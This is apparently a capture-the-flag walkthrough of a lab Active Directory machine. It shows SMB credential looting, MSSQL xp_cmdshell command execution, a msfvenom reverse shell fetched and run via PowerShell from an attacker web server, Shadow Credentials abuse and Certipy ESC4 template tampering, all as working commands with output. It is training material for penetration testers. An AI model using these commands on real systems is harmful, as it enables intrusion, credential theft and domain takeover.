RECON
Port Scan
$ rustscan -a $ip --ulimit 1000 -r 1-65535 -- -A -sC -Pn
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack Simple DNS Plus
88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2025-01-12 03:14:02Z)
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-12T03:15:44+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.sequel.htb
| Issuer: commonName=sequel-DC01-CA/domainComponent=sequel
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-06-08T17:35:00
| Not valid after: 2025-06-08T17:35:00
| MD5: 09fd:3df4:9f58:da05:410d:e89e:7442:b6ff
| SHA-1: c3ac:8bfd:6132:ed77:2975:7f5e:6990:1ced:528e:aac5
| -----BEGIN CERTIFICATE-----
| MIIGJjCCBQ6gAwIBAgITVAAAAANDveocXlnSDQAAAAAAAzANBgkqhkiG9w0BAQsF
| ...
|_-----END CERTIFICATE-----
445/tcp open microsoft-ds? syn-ack
464/tcp open kpasswd5? syn-ack
593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-12T03:15:45+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.sequel.htb
| Issuer: commonName=sequel-DC01-CA/domainComponent=sequel
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-06-08T17:35:00
| Not valid after: 2025-06-08T17:35:00
| MD5: 09fd:3df4:9f58:da05:410d:e89e:7442:b6ff
| SHA-1: c3ac:8bfd:6132:ed77:2975:7f5e:6990:1ced:528e:aac5
| -----BEGIN CERTIFICATE-----
| MIIGJjCCBQ6gAwIBAgITVAAAAANDveocXlnSDQAAAAAAAzANBgkqhkiG9w0BAQsF
| ...
| 2iXZSIqShMXzXmLTW/G+LzqK3U3VTcKo0yUKqmLlKyZXzQ+kYVLqgOOX
|_-----END CERTIFICATE-----
1433/tcp open ms-sql-s syn-ack Microsoft SQL Server 2019 15.00.2000.00; RTM
|_ssl-date: 2025-01-12T03:15:45+00:00; 0s from scanner time.
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-01-12T01:35:06
| Not valid after: 2055-01-12T01:35:06
| MD5: deb4:7bc3:e6db:544c:c3d5:8aff:778b:ca14
| SHA-1: bce6:5c0d:23a5:d5b2:5910:f713:84df:cc82:7c91:c4d2
| -----BEGIN CERTIFICATE-----
| MIIDADCCAeigAwIBAgIQc8xqBv2OuoFC0z+YJnLQYzANBgkqhkiG9w0BAQsFADA7
| ...
|_-----END CERTIFICATE-----
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-12T03:15:45+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.sequel.htb
| Issuer: commonName=sequel-DC01-CA/domainComponent=sequel
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-06-08T17:35:00
| Not valid after: 2025-06-08T17:35:00
| MD5: 09fd:3df4:9f58:da05:410d:e89e:7442:b6ff
| SHA-1: c3ac:8bfd:6132:ed77:2975:7f5e:6990:1ced:528e:aac5
| -----BEGIN CERTIFICATE-----
| MIIGJjCCBQ6gAwIBAgITVAAAAANDveocXlnSDQAAAAAAAzANBgkqhkiG9w0BAQsF
| ...
|_-----END CERTIFICATE-----
3269/tcp open ssl/ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-01-12T03:15:45+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=DC01.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.sequel.htb
| Issuer: commonName=sequel-DC01-CA/domainComponent=sequel
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-06-08T17:35:00
| Not valid after: 2025-06-08T17:35:00
| MD5: 09fd:3df4:9f58:da05:410d:e89e:7442:b6ff
| SHA-1: c3ac:8bfd:6132:ed77:2975:7f5e:6990:1ced:528e:aac5
| -----BEGIN CERTIFICATE-----
| ...
|_-----END CERTIFICATE-----
5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf syn-ack .NET Message Framing
47001/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc syn-ack Microsoft Windows RPC
49665/tcp open msrpc syn-ack Microsoft Windows RPC
49666/tcp open msrpc syn-ack Microsoft Windows RPC
49667/tcp open msrpc syn-ack Microsoft Windows RPC
49685/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
49686/tcp open msrpc syn-ack Microsoft Windows RPC
49689/tcp open msrpc syn-ack Microsoft Windows RPC
49702/tcp open msrpc syn-ack Microsoft Windows RPC
49719/tcp open msrpc syn-ack Microsoft Windows RPC
49739/tcp open msrpc syn-ack Microsoft Windows RPC
52851/tcp open msrpc syn-ack Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
- Active Directory Detected:
- Kerberos (Port 88), LDAP (Ports 389, 636, 3268, 3269), and DNS (Port 53) suggest an Active Directory (AD) environment.
- The domain appears to be
sequel.htb
, with a hostnameDC01
.
- Potential Attack Surfaces:
- Microsoft SQL Server (Port 1433): SQL enumeration and potential exploits.
- SMB and NetBIOS (Ports 139, 445): Possible SMB shares and user credential leaks.
- RPC (Ports 135, 593, 49664-49739): Useful for lateral movement or privilege escalation.
- WinRM (Port 5985): Remote command execution if valid credentials are obtained.
- Certificates: SSL certificates with DNS
DC01.sequel.htb
provide domain context.
Creds
Initial credentials are provided for the pentest: rose / KxEPkKe6R8su
.
As is common in real life Windows pentests, you will start this box with credentials for the following account: rose / KxEPkKe6R8su
Enum
SMB Enumeration
Ports 139
and 445
are open, indicating SMB is active. Verify with Netexec:
$ nxc smb DC01.sequel.htb -u rose -p KxEPkKe6R8su
SMB 10.129.14.206 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.129.14.206 445 DC01 [+] sequel.htb\rose:KxEPkKe6R8su
Usage of smbclient
Since we have credentials (rose / KxEPkKe6R8su
), list the shares as the user:
$ smbclient -L //DC01.sequel.htb -U rose%KxEPkKe6R8su
Password for [WORKGROUP\rose]:
Sharename Type Comment
--------- ---- -------
Accounting Department Disk
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
Users Disk
Tools like smbmap
can reveal more details:

Explore each share:
smbclient //DC01.sequel.htb/Accounting\ Department -U rose%KxEPkKe6R8su
smbclient //DC01.sequel.htb/NETLOGON -U rose%KxEPkKe6R8su
smbclient //DC01.sequel.htb/SYSVOL -U rose%KxEPkKe6R8su
smbclient //DC01.sequel.htb/Users -U rose%KxEPkKe6R8su
Obviously the first one is a custom share, dive into it:
$ smbclient //DC01.sequel.htb/Accounting\ Department -U rose%KxEPkKe6R8su
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Sun Jun 9 03:52:21 2024
.. D 0 Sun Jun 9 03:52:21 2024
accounting_2024.xlsx A 10217 Sun Jun 9 03:14:49 2024
accounts.xlsx A 6780 Sun Jun 9 03:52:07 2024
6367231 blocks of size 4096. 927435 blocks available
smb: \> mget *
Get file accounting_2024.xlsx? y
getting file \accounting_2024.xlsx of size 10217 as accounting_2024.xlsx (4.0 KiloBytes/sec) (average 4.0 KiloBytes/sec)
Get file accounts.xlsx? y
getting file \accounts.xlsx of size 6780 as accounts.xlsx (4.8 KiloBytes/sec) (average 4.3 KiloBytes/sec)
smb: \>
Explore .xlsx
Files
Download those .xlsx
files, which are Microsoft Excel spreadsheet files, commonly used for storing data in a tabular format.

Opening the file shows the internal structure of the .xlsx
file, which is essentially a ZIP archive containing XML and other supporting files.
Since .xlsx
files are compressed archives, we can extract them like a ZIP file:
$ unzip accounting_2024.xlsx -d accounting_2024
Archive: accounting_2024.xlsx
file #1: bad zipfile offset (local header sig): 0
inflating: accounting_2024/_rels/.rels
inflating: accounting_2024/xl/workbook.xml
inflating: accounting_2024/xl/_rels/workbook.xml.rels
inflating: accounting_2024/xl/worksheets/sheet1.xml
inflating: accounting_2024/xl/theme/theme1.xml
inflating: accounting_2024/xl/styles.xml
inflating: accounting_2024/xl/sharedStrings.xml
inflating: accounting_2024/xl/worksheets/_rels/sheet1.xml.rels
inflating: accounting_2024/xl/printerSettings/printerSettings1.bin
inflating: accounting_2024/docProps/core.xml
inflating: accounting_2024/docProps/app.xml
$ unzip accounts.xlsx -d accounts
Archive: accounts.xlsx
file #1: bad zipfile offset (local header sig): 0
inflating: accounts/xl/workbook.xml
inflating: accounts/xl/theme/theme1.xml
inflating: accounts/xl/styles.xml
inflating: accounts/xl/worksheets/_rels/sheet1.xml.rels
inflating: accounts/xl/worksheets/sheet1.xml
inflating: accounts/xl/sharedStrings.xml
inflating: accounts/_rels/.rels
inflating: accounts/docProps/core.xml
inflating: accounts/docProps/app.xml
inflating: accounts/docProps/custom.xml
inflating: accounts/[Content_Types].xml
$ ls
accounting_2024 accounting_2024.xlsx accounts accounts.xlsx
This creates directories named accounting_2024
and accounts
containing all the extracted files. Inspect directory structures:
$ tree accounting_2024
accounting_2024
├── docProps
│ ├── app.xml
│ └── core.xml
├── _rels
└── xl
├── printerSettings
│ └── printerSettings1.bin
├── _rels
│ └── workbook.xml.rels
├── sharedStrings.xml
├── styles.xml
├── theme
│ └── theme1.xml
├── workbook.xml
└── worksheets
├── _rels
│ └── sheet1.xml.rels
└── sheet1.xml
$ tree accounts
accounts
├── [Content_Types].xml
├── docProps
│ ├── app.xml
│ ├── core.xml
│ └── custom.xml
├── _rels
└── xl
├── sharedStrings.xml
├── styles.xml
├── theme
│ └── theme1.xml
├── workbook.xml
└── worksheets
├── _rels
│ └── sheet1.xml.rels
└── sheet1.xml
7 directories, 10 files
Run grep
recursively over all files in the directory to search for common sensitive keywords:
$ grep -riE "config|password|pass|passwd|pwd|hash|hashed|secret|key|token|credentials|auth|access|ssh|mysql|postgres|dbpass|db_password|dbuser|db_user|conn|login|admin|user|username|account|keyfile|certificate|cert|api|endpoint|url|authentication|secure|encryption|keychain|private|public|authorization|bearer|oauth|sso|vault|jwt|session|cookie|csrf" accounts
-r
: Recursive search through subdirectories.-i
: Case-insensitive search.-E
: Use extended regular expressions to search for multiple keywords separated by|
.
The grep
output from the accounts
contains sensitive information, including usernames, passwords, and email addresses:
- Angela Martin:
- Email:
[email protected]
- Username:
angela
- Password:
0fwz7Q4mSpurIt99
- Email:
- Oscar Martinez:
- Email:
[email protected]
- Username:
oscar
- Password:
86LxLBMgEWaKUnBG
- Email:
- Kevin Malone:
- Email:
[email protected]
- Username:
kevin
- Password:
Md9Wlq1E5bZnVDVo
- Email:
- SA Account:
- Email:
[email protected]
- Username:
sa
- Password:
MSSQLP@ssw0rd!
(likely for SQL Server).
- Email:
MSSQL
Impakcet | mssqlclient.py
The SA account (sa / MSSQLP@ssw0rd!
) likely belongs to the SQL Server (Port 1433). Use the credentials for database enumeration with Impacket tool:
$ mssqlclient.py sequel.htb/'sa':'MSSQLP@ssw0rd!'@$ip
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL (sa dbo@master)> help
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
enable_xp_cmdshell - you know what it means
disable_xp_cmdshell - you know what it means
enum_db - enum databases
enum_links - enum linked servers
enum_impersonate - check logins that can be impersonated
enum_logins - enum login users
enum_users - enum current db users
enum_owner - enum db owner
exec_as_user {user} - impersonate with execute as user
exec_as_login {login} - impersonate with execute as login
xp_cmdshell {cmd} - executes cmd using xp_cmdshell
xp_dirtree {path} - executes xp_dirtree on the path
sp_start_job {cmd} - executes cmd using the sql server agent (blind)
use_link {link} - linked server to use (set use_link localhost to go back to local or use_link .. to get back one step)
! {cmd} - executes a local shell cmd
show_query - show query
mask_query - mask query
SQL (sa dbo@master)>
We successfully connected to the SQL Server instance as the sa
user! List all available databases:
SQL (sa dbo@master)> SELECT name FROM sys.databases;
name
------
master
tempdb
model
msdb
The database list contains only system databases, which are default in any SQL Server instance, rarely contains any valuable data.
Query the list of server logins, which might reveal more user accounts:
SQL (sa dbo@master)> SELECT name, type_desc FROM sys.server_principals;
name type_desc
--------------------------------------- ------------------------
sa SQL_LOGIN
public SERVER_ROLE
sysadmin SERVER_ROLE
securityadmin SERVER_ROLE
serveradmin SERVER_ROLE
setupadmin SERVER_ROLE
processadmin SERVER_ROLE
diskadmin SERVER_ROLE
dbcreator SERVER_ROLE
bulkadmin SERVER_ROLE
##MS_SQLResourceSigningCertificate## CERTIFICATE_MAPPED_LOGIN
##MS_SQLReplicationSigningCertificate## CERTIFICATE_MAPPED_LOGIN
##MS_SQLAuthenticatorCertificate## CERTIFICATE_MAPPED_LOGIN
##MS_PolicySigningCertificate## CERTIFICATE_MAPPED_LOGIN
##MS_SmoExtendedSigningCertificate## CERTIFICATE_MAPPED_LOGIN
##MS_PolicyEventProcessingLogin## SQL_LOGIN
##MS_PolicyTsqlExecutionLogin## SQL_LOGIN
##MS_AgentSigningCertificate## CERTIFICATE_MAPPED_LOGIN
SEQUEL\Administrator WINDOWS_LOGIN
NT SERVICE\SQLWriter WINDOWS_LOGIN
NT SERVICE\Winmgmt WINDOWS_LOGIN
NT Service\MSSQL$SQLEXPRESS WINDOWS_LOGIN
BUILTIN\Users WINDOWS_GROUP
NT AUTHORITY\SYSTEM WINDOWS_LOGIN
NT SERVICE\SQLTELEMETRY$SQLEXPRESS WINDOWS_LOGIN
MSSQL | xp_cmdshell
As the sa
user (System Admin), we should have the necessary permissions to enable and use xp_cmdshell
. This allows us to execute operating system commands directly from SQL Server, which can be a powerful tool for privilege escalation or further enumeration.
Check if xp_cmdshell
is enabled. This allows executing OS commands via SQL Server.
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
Run Commands:
SQL (sa dbo@master)> EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
SQL (sa dbo@master)> EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (sa dbo@master)> EXEC xp_cmdshell 'whoami';
output
--------------
sequel\sql_svc
NULL
The xp_cmdshell
command (whoami
) works successfully and returns the service account sequel\sql_svc
. But this allows us to run only one command at a time, then we need to reconfigure and enable xp_cmdshell
for the next.
Lookup local users:
SQL (sa dbo@master)> EXEC xp_cmdshell 'net user';
output
-------------------------------------------------------------------------------
NULL
User accounts for \\DC01
NULL
-------------------------------------------------------------------------------
Administrator ca_svc Guest
krbtgt michael oscar
rose ryan sql_svc
The command completed successfully.
NULL
NULL
We now have an RCE primitive.
Sql_SVC
MSSQL RCE
Now we can leverage the RCE to get reverse shell cooperated with various frameworks, for example MetaSploit.
Generate the payload:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<listener_IP> LPORT=<listener_port> -f exe -o shell.exe
Start listener on MSF:
$ msfconsole -q
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost tun0
lhost => tun0
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.▒▒.▒▒:4444
Host the payload with Python HTTP Server:
$ ls shell.exe
shell.exe
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Use xp_cmdshell
to download and execute the payload:
EXEC xp_cmdshell 'powershell -NoProfile -ExecutionPolicy Bypass -Command "(New-Object Net.WebClient).DownloadFile(''http://<HTTP_Server_IP>/shell.exe'', ''C:\Users\Public\shell.exe''); Start-Process ''C:\Users\Public\shell.exe''"';
Then we compromise user SEQUEL\sql_svc
:

Ryan
Enum MSSQL Configuration
As the MSSQL service user, it's always a good idea to examine the configuration files.
Directory of c:\
11/05/2022 11:03 AM <DIR> PerfLogs
01/04/2025 07:11 AM <DIR> Program Files
06/09/2024 07:37 AM <DIR> Program Files (x86)
06/08/2024 02:07 PM <DIR> SQL2019
06/09/2024 05:42 AM <DIR> Users
01/04/2025 08:10 AM <DIR> Windows
0 File(s) 0 bytes
6 Dir(s) 3,777,658,880 bytes free
The SQL2019
directory is likely a custom installation directory for Microsoft SQL Server 2019. This directory can contain configuration files, database files, logs, and executables for SQL Server.
We can use dir
or findstr
to locate any .ini
, .config
, or .xml
files, which are used for configuration files on Windows systems. For example:
dir C:\SQL2019\*.ini /s /p
dir C:\Program Files\Microsoft SQL Server\*.config /s /p
/s
: Tellsdir
to search all subdirectories recursively, starting from the specified base directory (C:\SQL2019
)./p
: Pauses the output when the screen is full, allowing us to review the results before continuing. This is useful when there are many files or directories in the output.
As a result, there's a configuration file found under C:\SQL2019\ExpressAdv_ENU
:
dir C:\SQL2019\*.ini /s /p
Volume in drive C has no label.
Volume Serial Number is 3705-289D
Directory of C:\SQL2019\ExpressAdv_ENU
06/08/2024 02:07 PM 717 sql-Configuration.INI
1 File(s) 717 bytes
Total Files Listed:
1 File(s) 717 bytes
0 Dir(s) 3,777,658,880 bytes free
Read the sql-configuration.INI
file:
type C:\SQL2019\ExpressAdv_ENU\sql-configuration.ini
[OPTIONS]
ACTION="Install"
QUIET="True"
FEATURES=SQL
INSTANCENAME="SQLEXPRESS"
INSTANCEID="SQLEXPRESS"
RSSVCACCOUNT="NT Service\ReportServer$SQLEXPRESS"
AGTSVCACCOUNT="NT AUTHORITY\NETWORK SERVICE"
AGTSVCSTARTUPTYPE="Manual"
COMMFABRICPORT="0"
COMMFABRICNETWORKLEVEL=""0"
COMMFABRICENCRYPTION="0"
MATRIXCMBRICKCOMMPORT="0"
SQLSVCSTARTUPTYPE="Automatic"
FILESTREAMLEVEL="0"
ENABLERANU="False"
SQLCOLLATION="SQL_Latin1_General_CP1_CI_AS"
SQLSVCACCOUNT="SEQUEL\sql_svc"
SQLSVCPASSWORD="WqSZAF6CysDQbGb3"
SQLSYSADMINACCOUNTS="SEQUEL\Administrator"
SECURITYMODE="SQL"
SAPWD="MSSQLP@ssw0rd!"
ADDCURRENTUSERASSQLADMIN="False"
TCPENABLED="1"
NPENABLED="1"
BROWSERSVCSTARTUPTYPE="Automatic"
IAcceptSQLServerLicenseTerms=True
We've uncovered a new password string, WqSZAF6CysDQbGb3
, which can be used for password spraying against the users listed via net user
. However, the C:\Users
directory strongly hints that our next target should be the user ryan
.
Directory of c:\users
06/09/2024 05:42 AM <DIR> .
06/09/2024 05:42 AM <DIR> ..
12/25/2024 03:10 AM <DIR> Administrator
01/11/2025 10:06 PM <DIR> Public
06/09/2024 03:15 AM <DIR> ryan
06/08/2024 03:16 PM <DIR> sql_svc
0 File(s) 0 bytes
6 Dir(s) 3,777,589,248 bytes free
Using Evil-winrm
, we test the credentials and successfully authenticate as the user ryan
, allowing us to capture the user flag:

CA_SVC
Bloodhound
With the obtained password, we can gather domain information using BloodHound, either by running it locally on the target or remotely from our attacking machine:
bloodhound-python -u 'ryan' -p 'WqSZAF6Cy▒▒▒▒▒▒' -d 'sequel.htb' -ns $ip --zip -c All -dc 'dc01.sequel.htb'
From the BloodHound results, we can observe the relationships and privileges associated with the owned user [email protected] and [email protected], who should be a Certification Authority Service Account :

Since we hold WriteOwner
privileges on the ca_svc
account, our next step is to explore this further in BloodHound for potential escalation opportunities.

- [email protected] (Certification Authority Service Account):
- Group Memberships:
- CERT [email protected]: This group allows users to manage certificate templates and publish certificates.
- DENIED RODC PASSWORD REPLICATION [email protected]: This group prevents the account's credentials from being replicated to read-only domain controllers.
- Password Never Expires:
- The account password is set to never expire, which increases the likelihood that the current credentials are still valid.
- Group Memberships:
- [email protected]:
WriteOwner
Privilege Over [email protected]:- The RYAN account has the
WriteOwner
permission over theCA_SVC
account. - This means RYAN can modify the ownership of the
CA_SVC
account, allowing privilege escalation.
- The RYAN account has the
Privilege | WriteOwner
Active Directory objects, such as users and groups, are securable entities with permissions controlled by DACLs (Discretionary Access Control Lists) and ACEs (Access Control Entries). These permissions dictate who can read or modify the object, including actions like changing account names or resetting passwords. An attacker with the WriteOwner
permission can exploit it to change the object's owner to an attacker-controlled user, effectively taking control of the object.
BloodHound reference: link.
To exploit WriteOwner
and GenericWrite
permissions effectively, we can leverage PowerView, a versatile tool from the PowerSploit collection. Here's how it can be used:
# Set 'axura' as the owner of 'victim'
# This grants 'axura' full control over the object by becoming its owner
Set-DomainObjectOwner -Identity victim -OwnerIdentity tom
# Assign 'axura' permissions to reset passwords on 'victim' object
Add-DomainObjectAcl -TargetIdentity victim -PrincipalIdentity axura -Rights ResetPassword
# Create a PowerShell secure string for the new password and reset password of 'victim'
$newPassword = ConvertTo-SecureString "Axura@4sure1377" -AsPlainText -Force
Set-DomainUserPassword -Identity victim -AccountPassword $newPassword
This is a broader privilege than GenericWrite
in some extent, therefore we can also exploit the Shadow Credentials with it—The way I will demonstrate in the following steps.
Privesc
From [email protected], we can take over the CA_SVC
account by modifying its ownership and resetting its password, which we have done a lot in Season 6.5 machines (for example the Certified box, according to the BloodHound documentation.
Set Ownership of CA_SVC
| BloodyAD
Since the owned ryan
user has the WriteOwner
privilege over CA_SVC
, we can change the ownership of the CA_SVC
object to ryan
.
bloodyAD --host dc01.sequel.htb -d sequel.htb -u ryan -p WqSZAF6▒▒▒▒▒▒ set owner ca_svc ryan

Or use Impacket toolset for the same purpose:
owneredit.py -action write -new-owner 'ryan' -target 'ca_svc' 'sequel.htb'/'ryan':'WqSZAF▒▒▒▒▒▒▒▒▒'
Grant Full Control | dacledit.py
As the new owner, ryan
gains full control over the CA_SVC
account, enabling actions like resetting its password with Impacket tools:
python3 pywhisker.py -d sequel.htb -u 'ryan' -p 'WqSZAF▒▒▒▒▒▒▒' --target 'ca_svc' --action add

Shadow Credentials Attack | pywhisker
Now we are powerful enough to add a new certificate-based credential (ShadowCred) for CA_SVC
:
python3 pywhisker.py -d sequel.htb -u 'ryan' -p 'WqSZAF6C▒▒▒▒▒▒' --target 'ca_svc' --action add

We can verify the certificate running:
openssl pkcs12 -in gtpwNhXt.pfx -nokeys -info

We can also reset the password with
WriteOwner
privilege via similar routine.
Request TGT | gettgtpkinit.py
PKINITtools
enables authentication to the Domain Controller using a password-protected certificate, leveraging the PKINIT protocol:
python gettgtpkinit.py -cert-pfx gtpwNhXt.pfx -pfx-pass KlGxUJRtM0a▒▒▒▒▒▒ -dc-ip $ip sequel.htb/ca_svc ca_svc.ccache
And we can verity the TGT with klist
:

Now we have compromised the CA service account CA_SVC
.
Administrator
Enum | Certipy
We can use Certipy's find
command to enumerate Certificate Templates and identify potential vulnerabilities.
First we need to export the ticket as the environment variable:
$ export KRB5CCNAME='ca_svc.ccache'
$ klist
Ticket cache: FILE:ca_svc.ccache
Default principal: [email protected]
Valid starting Expires Service principal
01/12/2025 00:05:54 01/12/2025 10:05:54 krbtgt/[email protected]
Then use Certipy with the -vulnerable
flag to enumerate all certificate templates on the target Active Directory Certificate Services (AD CS):
certipy find -k -target dc01.sequel.htb -dc-ip $ip -vulnerable

JSON report:
{
"Certificate Authorities": {
"0": {
"CA Name": "sequel-DC01-CA",
"DNS Name": "DC01.sequel.htb",
"Certificate Subject": "CN=sequel-DC01-CA, DC=sequel, DC=htb",
"Certificate Serial Number": "152DBD2D8E9C079742C0F3BFF2A211D3",
"Certificate Validity Start": "2024-06-08 16:50:40+00:00",
"Certificate Validity End": "2124-06-08 17:00:40+00:00",
"Web Enrollment": "Disabled",
"User Specified SAN": "Disabled",
"Request Disposition": "Issue",
"Enforce Encryption for Requests": "Enabled",
"Permissions": {
"Owner": "SEQUEL.HTB\\Administrators",
"Access Rights": {
"2": [
"SEQUEL.HTB\\Administrators",
"SEQUEL.HTB\\Domain Admins",
"SEQUEL.HTB\\Enterprise Admins"
],
"1": [
"SEQUEL.HTB\\Administrators",
"SEQUEL.HTB\\Domain Admins",
"SEQUEL.HTB\\Enterprise Admins"
],
"512": [
"SEQUEL.HTB\\Authenticated Users"
]
}
}
}
},
"Certificate Templates": {
"0": {
"Template Name": "DunderMifflinAuthentication",
"Display Name": "Dunder Mifflin Authentication",
"Certificate Authorities": [
"sequel-DC01-CA"
],
"Enabled": true,
"Client Authentication": true,
"Enrollment Agent": false,
"Any Purpose": false,
"Enrollee Supplies Subject": false,
"Certificate Name Flag": [
"SubjectRequireCommonName",
"SubjectAltRequireDns"
],
"Enrollment Flag": [
"AutoEnrollment",
"PublishToDs"
],
"Private Key Flag": [
"16777216",
"65536"
],
"Extended Key Usage": [
"Client Authentication",
"Server Authentication"
],
"Requires Manager Approval": false,
"Requires Key Archival": false,
"Authorized Signatures Required": 0,
"Validity Period": "1000 years",
"Renewal Period": "6 weeks",
"Minimum RSA Key Length": 2048,
"Permissions": {
"Enrollment Permissions": {
"Enrollment Rights": [
"SEQUEL.HTB\\Domain Admins",
"SEQUEL.HTB\\Enterprise Admins"
]
},
"Object Control Permissions": {
"Owner": "SEQUEL.HTB\\Enterprise Admins",
"Full Control Principals": [
"SEQUEL.HTB\\Cert Publishers"
],
"Write Owner Principals": [
"SEQUEL.HTB\\Domain Admins",
"SEQUEL.HTB\\Enterprise Admins",
"SEQUEL.HTB\\Administrator",
"SEQUEL.HTB\\Cert Publishers"
],
"Write Dacl Principals": [
"SEQUEL.HTB\\Domain Admins",
"SEQUEL.HTB\\Enterprise Admins",
"SEQUEL.HTB\\Administrator",
"SEQUEL.HTB\\Cert Publishers"
],
"Write Property Principals": [
"SEQUEL.HTB\\Domain Admins",
"SEQUEL.HTB\\Enterprise Admins",
"SEQUEL.HTB\\Administrator",
"SEQUEL.HTB\\Cert Publishers"
]
}
},
"[!] Vulnerabilities": {
"ESC4": "'SEQUEL.HTB\\\\Cert Publishers' has dangerous permissions"
}
}
}
}
- Enrollment Permissions:
- The Enrollment Rights are restricted to high-privileged groups:
SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
- The Enrollment Rights are restricted to high-privileged groups:
- Object Control Permissions: These permissions define who can modify or control the template.
- Owner:
- The owner of the template is
SEQUEL.HTB\Enterprise Admins
.
- The owner of the template is
- Full Control:
- Members of
SEQUEL.HTB\Cert Publishers
have full control over the template, whereCA_SVC
is a member of this group, according to BloodHound.
- Members of
- Write Owner:
- The following principals can change the ownership of the template:
Domain Admins
Enterprise Admins
Administrator
Cert Publishers
- The following principals can change the ownership of the template:
- Write DACL (Discretionary Access Control List):
- The above principals can modify the template's DACL, potentially granting themselves or others additional permissions.
- Write Property:
- The same principals can modify attributes of the template.
- Owner:
- ESC4 Vulnerability:
- The
ESC4
vulnerability is highlighted, which means:- The group
SEQUEL.HTB\Cert Publishers
has dangerous permissions (e.g.,Full Control
) over the template. - Members of this group can potentially abuse their control to allow enrollment for unauthorized users or themselves.
- The group
- The
ESC4
The ESC4 attack refers to a certificate template with a weak access control, which can lead to domain escalation by allowing users to edit the template and introduce malicious misconfigurations, such as ESC1. The detailed introduction about ESC4 can be referred to this article.
We can privesc from CA_SVC
to Administrator
with the vulnerability via the following steps, according to the Certipy documentation.
Certificate Abuse
Select the vulnerable template (DunderMifflinAuthentication
) identified in the previous step and prepare to abuse it for privilege escalation. Use the template
option Certipy will overwrite the configuration to make it vulnerable to ESC1 by default:
certipy template -k -template DunderMifflinAuthentication -target dc01.sequel.htb -dc-ip $ip -save-old
We have successfully modified the template from its old configurations:

